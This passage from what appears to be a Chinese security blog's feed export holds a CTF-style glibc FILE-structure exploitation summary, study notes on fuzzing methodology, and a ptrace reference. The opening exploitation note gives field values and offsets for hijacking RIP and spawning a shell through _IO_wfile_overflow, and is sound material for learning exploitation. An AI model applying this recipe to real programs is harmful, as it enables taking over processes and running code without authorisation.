class="hljs-number">0</span>);<br>}<br></code></pre></td></tr></table></figure><p>要满足</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs c">fp->_wide_data->_IO_buf_base == <span class="hljs-number">0</span><br>fp->_flags & _IO_UNBUFFERED == <span class="hljs-number">0</span><br></code></pre></td></tr></table></figure><h2 id="IO-WDOALLOCATE"><a href="#IO-WDOALLOCATE" class="headerlink" title="_IO_WDOALLOCATE"></a>_IO_WDOALLOCATE</h2><figure class="highlight scss"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs scss"><span class="hljs-selector-id">#define</span> <span class="hljs-built_in">_IO_WDOALLOCATE</span>(FP) WJUMP0 (__doallocate, FP)<br></code></pre></td></tr></table></figure><p>执行的是__doallocate</p><p>总结</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs c">对 fp 的设置如下:<br>_flags 设置为 ~(<span class="hljs-number">2</span> | <span class="hljs-number">0x8</span> | <span class="hljs-number">0x800</span>),如果不需要控制 rdi,设置为 <span class="hljs-number">0</span> 即可;如果需要获得 shell,可设置为 sh;,注意前面有两个空格<br>vtable 设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 地址(加减偏移),使其能成功调用_IO_wfile_overflow 即可<br>_wide_data 设置为可控堆地址 A,即满足 *(fp + <span class="hljs-number">0xa0</span>) = A<br>_wide_data->_IO_write_base 设置为 <span class="hljs-number">0</span>,即满足 *(A + <span class="hljs-number">0x18</span>) = <span class="hljs-number">0</span><br>_wide_data->_IO_buf_base 设置为 <span class="hljs-number">0</span>,即满足 *(A + <span class="hljs-number">0x30</span>) = <span class="hljs-number">0</span><br>_wide_data->_wide_vtable 设置为可控堆地址 B,即满足 *(A + <span class="hljs-number">0xe0</span>) = B<br>_wide_data->_wide_vtable->doallocate 设置为地址 C 用于劫持 RIP,即满足 *(B + <span class="hljs-number">0x68</span>) = C<br></code></pre></td></tr></table></figure><p>三个虚表存在_IO_wfile_overflow</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">const</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IO_jump_t</span> _<span class="hljs-title">IO_wfile_jumps</span></span><br><span class="hljs-class"><span class="hljs-title">const</span> <span class="hljs-keyword">struct</span> _<span class="hljs-title">IO_jump_t</span> _<span class="hljs-title">IO_wfile_jumps_mmap</span></span><br><span class="hljs-class"><span class="hljs-title">const</span> <span class="hljs-keyword">struct</span> _<span class="hljs-title">IO_jump_t</span> _<span class="hljs-title">IO_wfile_jumps_maybe_mmap</span></span><br></code></pre></td></tr></table></figure>]]></content>
<categories>
<category>Pwn</category>
</categories>
<tags>
<tag>Pwn</tag>
</tags>
</entry>
<entry>
<title>模糊测试-第三章-模糊测试方法和模糊器类型</title>
<link href="/2024/06/07/%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95/%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E6%96%B9%E6%B3%95%E5%92%8C%E6%A8%A1%E7%B3%8A%E5%99%A8%E7%B1%BB%E5%9E%8B/"/>
<url>/2024/06/07/%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95/%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E6%96%B9%E6%B3%95%E5%92%8C%E6%A8%A1%E7%B3%8A%E5%99%A8%E7%B1%BB%E5%9E%8B/</url>
<content type="html"><![CDATA[<h1 id="简述"><a href="#简述" class="headerlink" title="简述"></a>简述</h1><p>本章讲述不同的具体的模糊测试方法,并对模糊器继续划分子类</p><h1 id="模糊测试方法"><a href="#模糊测试方法" class="headerlink" title="模糊测试方法"></a>模糊测试方法</h1><h2 id="预先生成测试用例"><a href="#预先生成测试用例" class="headerlink" title="预先生成测试用例"></a>预先生成测试用例</h2><p>此方法需要事先完成大量工作,需要理解所支持的数据结构和可接受值的范围</p><h2 id="随机方法"><a href="#随机方法" class="headerlink" title="随机方法"></a>随机方法</h2><p>简单粗暴,但是难以回溯找到引发崩溃的输入序列</p><h2 id="人工测试"><a href="#人工测试" class="headerlink" title="人工测试"></a>人工测试</h2><h2 id="变异或强制性测试"><a href="#变异或强制性测试" class="headerlink" title="变异或强制性测试"></a>变异或强制性测试</h2><p>打乱每个字节</p><h2 id="自动协议生成"><a href="#自动协议生成" class="headerlink" title="自动协议生成"></a>自动协议生成</h2><h1 id="模糊器类型"><a href="#模糊器类型" class="headerlink" title="模糊器类型"></a>模糊器类型</h1><h2 id="本地模糊器"><a href="#本地模糊器" class="headerlink" title="本地模糊器"></a>本地模糊器</h2><h3 id="命令行模糊器"><a href="#命令行模糊器" class="headerlink" title="命令行模糊器"></a>命令行模糊器</h3><h3 id="环境变量模糊器"><a href="#环境变量模糊器" class="headerlink" title="环境变量模糊器"></a>环境变量模糊器</h3><h3 id="文件格式模糊器"><a href="#文件格式模糊器" class="headerlink" title="文件格式模糊器"></a>文件格式模糊器</h3><h2 id="远程模糊器"><a href="#远程模糊器" class="headerlink" title="远程模糊器"></a>远程模糊器</h2><h2 id=""><a href="#" class="headerlink" title=""></a></h2>]]></content>
<categories>
<category>模糊测试</category>
</categories>
<tags>
<tag>模糊测试</tag>
</tags>
</entry>
<entry>
<title>模糊测试-第二章-什么是模糊测试</title>
<link href="/2024/06/07/%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95/%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95/"/>
<url>/2024/06/07/%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95/%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95/</url>
<content type="html"><![CDATA[<h1 id="定义"><a href="#定义" class="headerlink" title="定义"></a>定义</h1><p>通过提供非预期的输入并监视异常结果来发现软件故障的方法,是自动或半自动的过程</p><p>分为两大类: 基于变异的模糊器和基于生成的模糊器</p><p>基于变异的模糊器: 对已有的数据样本使用变异以创造测试输入向量(什么是变异)</p><p>基于生成的模糊器: 对目标协议或文件格式生成测试用例</p><p>看定义,二者好像并不冲突</p><h1 id="模糊测试历史"><a href="#模糊测试历史" class="headerlink" title="模糊测试历史"></a>模糊测试历史</h1><p>1989年,Barton Miller教授设计了一个模糊器以测试UNIX程序的健壮性,其主要目的是验证代码的质量和可靠性</p><h1 id="模糊测试阶段"><a href="#模糊测试阶段" class="headerlink" title="模糊测试阶段"></a>模糊测试阶段</h1><h2 id="识别目标"><a href="#识别目标" class="headerlink" title="识别目标"></a>识别目标</h2><h2 id="识别输入"><a href="#识别输入" class="headerlink" title="识别输入"></a>识别输入</h2><p>枚举程序可接受的输入向量是非常重要的,任何向目标程序的输入都应视为输入向量,包括但不限于消息头,文件名,环境变量</p><h2 id="生成模糊测试数据"><a href="#生成模糊测试数据" class="headerlink" title="生成模糊测试数据"></a>生成模糊测试数据</h2><p>此过程应该引入自动化</p><h2 id="执行模糊测试数据"><a href="#执行模糊测试数据" class="headerlink" title="执行模糊测试数据"></a>执行模糊测试数据</h2><p>同样也应该自动化</p><h2 id="监视异常"><a href="#监视异常" class="headerlink" title="监视异常"></a>监视异常</h2><ul><li>造成异常的输入向量</li><li>发送异常的代码处(若是远程测试则忽略)</li></ul><h2 id="确认可利用性"><a href="#确认可利用性" class="headerlink" title="确认可利用性"></a>确认可利用性</h2><p>我个人认为漏洞的发掘和利用应该分为两部分,不仅仅是利用的难度之高,而是更多情况下很多人不关心漏洞的利用</p><h1 id="模糊测试的局限性和期望"><a href="#模糊测试的局限性和期望" class="headerlink" title="模糊测试的局限性和期望"></a>模糊测试的局限性和期望</h1><p>模糊测试对某些类型的漏洞存在一定的局限性,以下几类漏洞无法被模糊器发现</p><h2 id="访问控制缺陷"><a href="#访问控制缺陷" class="headerlink" title="访问控制缺陷"></a>访问控制缺陷</h2><p>对于应用程序分层控制权限,因为模糊测试不能理解软件的实际功能,它<strong>仅仅监控异常</strong></p><h2 id="设计逻辑不良"><a href="#设计逻辑不良" class="headerlink" title="设计逻辑不良"></a>设计逻辑不良</h2><h2 id="后门"><a href="#后门" class="headerlink" title="后门"></a>后门</h2><h2 id="内存破坏"><a href="#内存破坏" class="headerlink" title="内存破坏"></a>内存破坏</h2><p>例如程序注册段错误信息处理函数,即使存在段错误信号,那么程序可能会允许进程继续运行,或者执行新的进程</p><h2 id="多阶段安全漏洞"><a href="#多阶段安全漏洞" class="headerlink" title="多阶段安全漏洞"></a>多阶段安全漏洞</h2><p>模糊测试对多个漏洞链而造成的漏洞没有多少价值(???)是难以发现?</p>]]></content>
<categories>
<category>模糊测试</category>
</categories>
<tags>
<tag>模糊测试</tag>
</tags>
</entry>
<entry>
<title>模糊测试-第一章-安全漏洞发掘方法学</title>
<link href="/2024/06/06/%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95/%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E%E5%8F%91%E6%8E%98%E6%96%B9%E6%B3%95%E5%AD%A6/"/>
<url>/2024/06/06/%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95/%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E%E5%8F%91%E6%8E%98%E6%96%B9%E6%B3%95%E5%AD%A6/</url>
<content type="html"><![CDATA[<h1 id="简述"><a href="#简述" class="headerlink" title="简述"></a>简述</h1><p>本章讲述漏洞发掘的不同方法,包括白盒测试,黑盒测试,灰盒测试</p><p>模糊测试可能属于后两者(???)</p><h1 id="白盒测试"><a href="#白盒测试" class="headerlink" title="白盒测试"></a>白盒测试</h1><h2 id="源代码审计"><a href="#源代码审计" class="headerlink" title="源代码审计"></a>源代码审计</h2><p>源代码审计工作可以由人工或者自动化工具的辅助下完成,现在自动化识别的漏洞仍需人工分许</p><p>源代码审计未必优于黑盒测试</p><h2 id="工具和自动化"><a href="#工具和自动化" class="headerlink" title="工具和自动化"></a>工具和自动化</h2><p>源代码分析工具分为三类——编译时检查器,源代码浏览器和自动化源代码审核工具</p><h2 id="优缺点"><a href="#优缺点" class="headerlink" title="优缺点"></a>优缺点</h2><ul><li>覆盖能力: 由于有所有源代码,理论可以遍历所有的代码覆盖</li><li>复杂性</li><li>可用性: 必须获取源代码</li></ul><h1 id="黑盒测试"><a href="#黑盒测试" class="headerlink" title="黑盒测试"></a>黑盒测试</h1><p>黑盒测试不观察软件代码,仅仅观察输出和输出,在远程web服务中就是这种情况</p><h2 id="人工测试"><a href="#人工测试" class="headerlink" title="人工测试"></a>人工测试</h2><p>人工测试存在很大的不确定性,黑盒测试中的人工测试类似于软件工程中的测试阶段,通过人的使用来查找问题</p><p>黑盒测试中的人工测试不认为是一种可行的方法,根本原因在于效率过低</p><h2 id="自动化或模糊测试"><a href="#自动化或模糊测试" class="headerlink" title="自动化或模糊测试"></a>自动化或模糊测试</h2><p>生成所有可能是输出,监控结果</p><h2 id="优缺点-1"><a href="#优缺点-1" class="headerlink" title="优缺点"></a>优缺点</h2><ul><li>可用性: 黑盒测试总是可以使用的</li><li>可重现性:</li><li>简单些: 仅仅生成输入和监控输出</li><li>覆盖能力: 由于生成输入的有限性,对整体代码的覆盖能力存在限制</li><li>理解力: 生成的输入向量不一定会被程序所接受</li></ul><h1 id="灰盒测试"><a href="#灰盒测试" class="headerlink" title="灰盒测试"></a>灰盒测试</h1><p>定义: 包含黑盒测试审核,逆向工程,汇编层面的审计称为二进制审计(binary auditing)</p><p>某种程度上可以说是一种混合的方法</p><h2 id="二进程审计"><a href="#二进程审计" class="headerlink" title="二进程审计"></a>二进程审计</h2><p>RE不可能将二进制文件完全转换为源代码形式,尽管二进程文件中包含的代码完成了程序的所有功能,因为编译过程中肯定存在信息的缺失,例如符号(尽管IDA反编译功能已经非常强大)</p><p>虽然做不到完全得到源码,但是RE仍然能给我们进行代码审计的机会</p><h2 id="自动化二进程审计"><a href="#自动化二进程审计" class="headerlink" title="自动化二进程审计"></a>自动化二进程审计</h2><h2 id="优缺点-2"><a href="#优缺点-2" class="headerlink" title="优缺点"></a>优缺点</h2><ul><li>可用性:只要能拿到二进程程序即可</li><li>覆盖: 优于黑盒,逊于白盒</li><li>复杂性: RE工程的复杂</li></ul><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>我们把方法大致分为三类,我们的资源很大程度上决定了我们使用的方法</p><p>实际我们有源码可以三者都使用,因为三者条件并不互斥</p>]]></content>
<categories>
<category>模糊测试</category>
</categories>
<tags>
<tag>模糊测试</tag>
</tags>
</entry>
<entry>
<title>Linux进程追踪ptrace</title>
<link href="/2024/06/02/Linux%E8%BF%9B%E7%A8%8B%E8%BF%BD%E8%B8%AAptrace/"/>
<url>/2024/06/02/Linux%E8%BF%9B%E7%A8%8B%E8%BF%BD%E8%B8%AAptrace/</url>
<content type="html"><![CDATA[<h1 id="简述"><a href="#简述" class="headerlink" title="简述"></a>简述</h1><p>ptrace 系统调用附加到进程,并访问进程代码,数据,堆栈和寄存器</p><h1 id="ptrace的重要性"><a href="#ptrace的重要性" class="headerlink" title="ptrace的重要性"></a>ptrace的重要性</h1><p>在 Linux 中,ptrace(2)系统调用是获取进程地址空间的<strong>用户态</strong>方法。 用户可以对获取到的进程进行修改、分析、反编译和调试</p><h1 id="ptrace-请求"><a href="#ptrace-请求" class="headerlink" title="ptrace 请求"></a>ptrace 请求</h1><p>与其他系统调用一样,ptrace 系统调用也有一个 libc 的封装,因此在 使用时需要引入 ptrace.h 头文件,通过传入一个请求参数和一个进程 ID 来调用。下面的内容参考自 ptrace(2)手册。 使用概要如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><sys/ptrace.h></span></span><br><span class="hljs-type">long</span> <span class="hljs-title function_">ptrace</span><span class="hljs-params">(<span class="hljs-keyword">enum</span> __ptrace_request request, <span class="hljs-type">pid_t</span> pid, <span class="hljs-type">void</span> *addr, <span class="hljs-type">void</span>*data)</span>; <br></code></pre></td></tr></table></figure><p>ptrace 请求类型</p><p><img src="/2024/06/02/Linux%E8%BF%9B%E7%A8%8B%E8%BF%BD%E8%B8%AAptrace/image-20240602224159199.png" alt="image-20240602224159199"></p><p><img src="/2024/06/02/Linux%E8%BF%9B%E7%A8%8B%E8%BF%BD%E8%B8%AAptrace/image-20240602224215595.png" alt="image-20240602224215595"></p><p>addr和data取决于request</p><h3 id="PTRACE-TRACEME"><a href="#PTRACE-TRACEME" class="headerlink" title="PTRACE_TRACEME"></a><code>PTRACE_TRACEME</code></h3><ul><li><strong>功能</strong>: 请求进程允许其父进程跟踪自己。</li><li><strong>pid</strong>: 被忽略。</li><li><strong>addr</strong>: 被忽略。</li><li><strong>data</strong>: 被忽略。</li><li><strong>示例</strong>: <code>ptrace(PTRACE_TRACEME, 0, NULL, NULL);</code></li></ul><h3 id="PTRACE-PEEKTEXT-PTRACE-PEEKDATA"><a href="#PTRACE-PEEKTEXT-PTRACE-PEEKDATA" class="headerlink" title="PTRACE_PEEKTEXT / PTRACE_PEEKDATA"></a><code>PTRACE_PEEKTEXT</code> / <code>PTRACE_PEEKDATA</code></h3><ul><li><strong>功能</strong>: 从目标进程的地址空间读取数据。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 目标进程中的地址。</li><li><strong>data</strong>: 被忽略。</li><li><strong>返回值</strong>: 读取的值。</li><li><strong>示例</strong>: <code>long data = ptrace(PTRACE_PEEKTEXT, pid, addr, NULL);</code></li></ul><h3 id="PTRACE-PEEKUSER"><a href="#PTRACE-PEEKUSER" class="headerlink" title="PTRACE_PEEKUSER"></a><code>PTRACE_PEEKUSER</code></h3><ul><li><strong>功能</strong>: 读取目标进程用户空间的数据(通常用于读取寄存器值)。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 通常是偏移量,用于指定要读取的寄存器。</li><li><strong>data</strong>: 被忽略。</li><li><strong>返回值</strong>: 读取的值。</li><li><strong>示例</strong>: <code>long reg_value = ptrace(PTRACE_PEEKUSER, pid, offset, NULL);</code></li></ul><h3 id="PTRACE-POKETEXT-PTRACE-POKEDATA"><a href="#PTRACE-POKETEXT-PTRACE-POKEDATA" class="headerlink" title="PTRACE_POKETEXT / PTRACE_POKEDATA"></a><code>PTRACE_POKETEXT</code> / <code>PTRACE_POKEDATA</code></h3><ul><li><strong>功能</strong>: 向目标进程的地址空间写入数据。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 目标进程中的地址。</li><li><strong>data</strong>: 要写入的数据。</li><li><strong>返回值</strong>: 成功返回 0,失败返回 -1。</li><li><strong>示例</strong>: <code>ptrace(PTRACE_POKETEXT, pid, addr, data);</code></li></ul><h3 id="PTRACE-POKEUSER"><a href="#PTRACE-POKEUSER" class="headerlink" title="PTRACE_POKEUSER"></a><code>PTRACE_POKEUSER</code></h3><ul><li><strong>功能</strong>: 写入目标进程用户空间的数据(通常用于写入寄存器值)。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 通常是偏移量,用于指定要写入的寄存器。</li><li><strong>data</strong>: 要写入的数据。</li><li><strong>返回值</strong>: 成功返回 0,失败返回 -1。</li><li><strong>示例</strong>: <code>ptrace(PTRACE_POKEUSER, pid, offset, data);</code></li></ul><h3 id="PTRACE-GETREGS"><a href="#PTRACE-GETREGS" class="headerlink" title="PTRACE_GETREGS"></a><code>PTRACE_GETREGS</code></h3><ul><li><strong>功能</strong>: 获取目标进程的通用寄存器值。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 被忽略。</li><li><strong>data</strong>: 指向 <code>struct user_regs_struct</code> 的指针,用于存储寄存器值。</li><li><strong>返回值</strong>: 成功返回 0,失败返回 -1。</li><li><strong>示例</strong>: <code>ptrace(PTRACE_GETREGS, pid, NULL, &regs);</code></li></ul><h3 id="PTRACE-SETREGS"><a href="#PTRACE-SETREGS" class="headerlink" title="PTRACE_SETREGS"></a><code>PTRACE_SETREGS</code></h3><ul><li><strong>功能</strong>: 设置目标进程的通用寄存器值。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 被忽略。</li><li><strong>data</strong>: 指向 <code>struct user_regs_struct</code> 的指针,包含要设置的寄存器值。</li><li><strong>返回值</strong>: 成功返回 0,失败返回 -1。</li><li><strong>示例</strong>: <code>ptrace(PTRACE_SETREGS, pid, NULL, &regs);</code></li></ul><h3 id="PTRACE-GETFPREGS"><a href="#PTRACE-GETFPREGS" class="headerlink" title="PTRACE_GETFPREGS"></a><code>PTRACE_GETFPREGS</code></h3><ul><li><strong>功能</strong>: 获取目标进程的浮点寄存器值。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 被忽略。</li><li><strong>data</strong>: 指向 <code>struct user_fpregs_struct</code> 的指针,用于存储浮点寄存器值。</li><li><strong>返回值</strong>: 成功返回 0,失败返回 -1。</li><li><strong>示例</strong>: <code>ptrace(PTRACE_GETFPREGS, pid, NULL, &fpregs);</code></li></ul><h3 id="PTRACE-SETFPREGS"><a href="#PTRACE-SETFPREGS" class="headerlink" title="PTRACE_SETFPREGS"></a><code>PTRACE_SETFPREGS</code></h3><ul><li><strong>功能</strong>: 设置目标进程的浮点寄存器值。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 被忽略。</li><li><strong>data</strong>: 指向 <code>struct user_fpregs_struct</code> 的指针,包含要设置的浮点寄存器值。</li><li><strong>返回值</strong>: 成功返回 0,失败返回 -1。</li><li><strong>示例</strong>: <code>ptrace(PTRACE_SETFPREGS, pid, NULL, &fpregs);</code></li></ul><h3 id="PTRACE-CONT"><a href="#PTRACE-CONT" class="headerlink" title="PTRACE_CONT"></a><code>PTRACE_CONT</code></h3><ul><li><strong>功能</strong>: 让目标进程继续执行。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 被忽略。</li><li><strong>data</strong>: 通常被忽略,或者用于传递一个信号给目标进程。</li><li><strong>返回值</strong>: 成功返回 0,失败返回 -1。</li><li><strong>示例</strong>: <code>ptrace(PTRACE_CONT, pid, NULL, NULL);</code></li></ul><h3 id="PTRACE-SINGLESTEP"><a href="#PTRACE-SINGLESTEP" class="headerlink" title="PTRACE_SINGLESTEP"></a><code>PTRACE_SINGLESTEP</code></h3><ul><li><strong>功能</strong>: 让目标进程执行单步。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 被忽略。</li><li><strong>data</strong>: 被忽略。</li><li><strong>返回值</strong>: 成功返回 0,失败返回 -1。</li><li><strong>示例</strong>: <code>ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL);</code></li></ul><h3 id="PTRACE-SYSCALL"><a href="#PTRACE-SYSCALL" class="headerlink" title="PTRACE_SYSCALL"></a><code>PTRACE_SYSCALL</code></h3><ul><li><strong>功能</strong>: 让目标进程在每个系统调用进入和退出时停止。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 被忽略。</li><li><strong>data</strong>: 被忽略。</li><li><strong>返回值</strong>: 成功返回 0,失败返回 -1。</li><li><strong>示例</strong>: <code>ptrace(PTRACE_SYSCALL, pid, NULL, NULL);</code></li></ul><h3 id="PTRACE-ATTACH"><a href="#PTRACE-ATTACH" class="headerlink" title="PTRACE_ATTACH"></a><code>PTRACE_ATTACH</code></h3><ul><li><strong>功能</strong>: 附加到一个正在运行的进程并开始跟踪它。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 被忽略。</li><li><strong>data</strong>: 被忽略。</li><li><strong>返回值</strong>: 成功返回 0,失败返回 -1。</li><li><strong>示例</strong>: <code>ptrace(PTRACE_ATTACH, pid, NULL, NULL);</code></li></ul><h3 id="PTRACE-DETACH"><a href="#PTRACE-DETACH" class="headerlink" title="PTRACE_DETACH"></a><code>PTRACE_DETACH</code></h3><ul><li><strong>功能</strong>: 停止跟踪一个进程。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 被忽略。</li><li><strong>data</strong>: 通常被忽略,或者用于传递一个信号给目标进程。</li><li><strong>返回值</strong>: 成功返回 0,失败返回 -1。</li><li><strong>示例</strong>: <code>ptrace(PTRACE_DETACH, pid, NULL, NULL);</code></li></ul><h3 id="PTRACE-KILL"><a href="#PTRACE-KILL" class="headerlink" title="PTRACE_KILL"></a><code>PTRACE_KILL</code></h3><ul><li><strong>功能</strong>: 杀死目标进程。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 被忽略。</li><li><strong>data</strong>: 被忽略。</li><li><strong>返回值</strong>: 成功返回 0,失败返回 -1。</li><li><strong>示例</strong>: <code>ptrace(PTRACE_KILL, pid, NULL, NULL);</code></li></ul><h3 id="PTRACE-SETOPTIONS"><a href="#PTRACE-SETOPTIONS" class="headerlink" title="PTRACE_SETOPTIONS"></a><code>PTRACE_SETOPTIONS</code></h3><ul><li><strong>功能</strong>: 设置跟踪选项。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 被忽略。</li><li><strong>data</strong>: 指定要设置的选项。</li><li><strong>返回值</strong>: 成功返回 0,失败返回 -1。</li><li><strong>示例</strong>: <code>ptrace(PTRACE_SETOPTIONS, pid, NULL, options);</code></li></ul><h3 id="PTRACE-GETEVENTMSG"><a href="#PTRACE-GETEVENTMSG" class="headerlink" title="PTRACE_GETEVENTMSG"></a><code>PTRACE_GETEVENTMSG</code></h3><ul><li><strong>功能</strong>: 获取与上一个事件相关的消息。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 被忽略。</li><li><strong>data</strong>: 指向 <code>long</code> 类型的指针,用于存储消息。</li><li><strong>返回值</strong>: 成功返回 0,失败返回 -1。</li><li><strong>示例</strong>: <code>ptrace(PTRACE_GETEVENTMSG, pid, NULL, &msg);</code></li></ul><h3 id="PTRACE-GETSIGINFO"><a href="#PTRACE-GETSIGINFO" class="headerlink" title="PTRACE_GETSIGINFO"></a><code>PTRACE_GETSIGINFO</code></h3><ul><li><strong>功能</strong>: 获取与上一个停止信号相关的信号信息。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 被忽略。</li><li><strong>data</strong>: 指向 <code>siginfo_t</code> 类型的指针,用于存储信号信息。</li><li><strong>返回值</strong>: 成功返回 0,失败返回 -1。</li><li><strong>示例</strong>: <code>ptrace(PTRACE_GETSIGINFO, pid, NULL, &siginfo);</code></li></ul><h3 id="PTRACE-SETSIGINFO"><a href="#PTRACE-SETSIGINFO" class="headerlink" title="PTRACE_SETSIGINFO"></a><code>PTRACE_SETSIGINFO</code></h3><ul><li><strong>功能</strong>: 设置与下一个停止信号相关的信号信息。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 被忽略。</li><li><strong>data</strong>: 指向 <code>siginfo_t</code> 类型的指针,包含要设置的信号信息。</li><li><strong>返回值</strong>: 成功返回 0,失败返回 -1。</li><li><strong>示例</strong>: <code>ptrace(PTRACE_SETSIGINFO, pid, NULL, &siginfo);</code></li></ul><h3 id="PTRACE-LISTEN"><a href="#PTRACE-LISTEN" class="headerlink" title="PTRACE_LISTEN"></a><code>PTRACE_LISTEN</code></h3><ul><li><strong>功能</strong>: 继续执行目标进程,但仅当新的事件发生时才停止。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 被忽略。</li><li><strong>data</strong>: 被忽略。</li><li><strong>返回值</strong>: 成功返回 0,失败返回 -1。</li><li><strong>示例</strong>: <code>ptrace(PTRACE_LISTEN, pid, NULL, NULL);</code></li></ul><h3 id="PTRACE-SYSEMU-PTRACE-SYSEMU-SINGLESTEP"><a href="#PTRACE-SYSEMU-PTRACE-SYSEMU-SINGLESTEP" class="headerlink" title="PTRACE_SYSEMU / PTRACE_SYSEMU_SINGLESTEP"></a><code>PTRACE_SYSEMU</code> / <code>PTRACE_SYSEMU_SINGLESTEP</code></h3><ul><li><strong>功能</strong>: 在系统调用执行时停止,类似于 <code>PTRACE_SYSCALL</code>,但用于仿真环境。</li><li><strong>pid</strong>: 目标进程的 ID。</li><li><strong>addr</strong>: 被忽略。</li><li><strong>data</strong>: 被忽略。</li><li><strong>返回值</strong>: 成功返回 0,失败返回 -1。</li><li><strong>示例</strong>: <code>ptrace(PTRACE_SYSEMU, pid, NULL, NULL);</code></li></ul><p>x86_64 的 user_regs_struct 结构保存了一些通用寄存器、段寄存器、 栈指针、指令指针、CPU 标记和 TLS 寄存器</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">user_regs_struct</span> {</span><br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> r15;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> r14;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> r13;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> r12;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> rbp;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> rbx;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> r11;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> r10;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> r9;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> r8;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> rax;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> rcx;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> rdx;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> rsi;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> rdi;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> orig_rax;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> rip;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> cs;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> eflags;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> rsp;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> ss;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> fs_base;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> gs_base;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> ds;<br> <span 